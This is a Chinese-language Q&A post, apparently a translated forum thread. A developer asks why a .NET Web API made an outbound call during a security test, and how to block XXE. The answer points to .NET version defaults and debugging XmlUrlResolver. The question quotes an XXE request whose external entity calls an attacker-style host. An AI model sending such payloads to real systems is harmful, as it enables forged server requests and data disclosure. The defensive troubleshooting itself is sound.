0

我们在公司进行了一项测试,以找出潜在的安全漏洞。我们有一个 .NET Web API 解决方案,我们的请求只支持 json。进行的测试如下:在 api 端点上发出了一个 post 请求,body 中有一个 xml。xml 有一个指向黑客服务器的 url。像这样的东西

POST <url> HTTP/1.1
Content-Type: text/xml
Accept : */*
Cache-Control : no-cache
Host: <hostname>
Accept-encoding : gzip, deflate
Connection: close
Content-Length : 128

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test[
  <!ENTITY & one SYSTEM "https://imhacker.com/XXE" >
  %one;

]> 

api 确实给出了响应:{“消息”:“此资源不支持请求实体的媒体类型 'text/xml'。”}

然而,在服务器 imhacker 上监控流量的测试人员确实看到请求https://imhacker.com/XXE通过了所以我有 2 个问题:

  1. 尽管响应说不支持 xml,但该请求是如何执行的
  2. 解决办法是什么?我看到一些建议说:禁止或忽略 DTD 处理。如何将此应用于 web api 中的所有端点

我还看到一些人建议删除 XMLFormatter,但我的代码已经对所有格式化程序执行了清除操作,并且只读取了自定义的 json 格式化程序

4

1 回答 1

0

在 .NET 4.5.2 和更新的 XXE 处理中默认禁用。如果您使用较低的目标框架版本,则应升级。否则,这意味着管道中位于 Web API 之前的某些代码会读取请求并显式启用 XXE。您可以尝试向其中添加函数断点System.Xml.XmlUrlResolver.GetEntity并发送该请求,以查看发生这种情况的确切位置。

于 2021-03-23T17:15:53.033 回答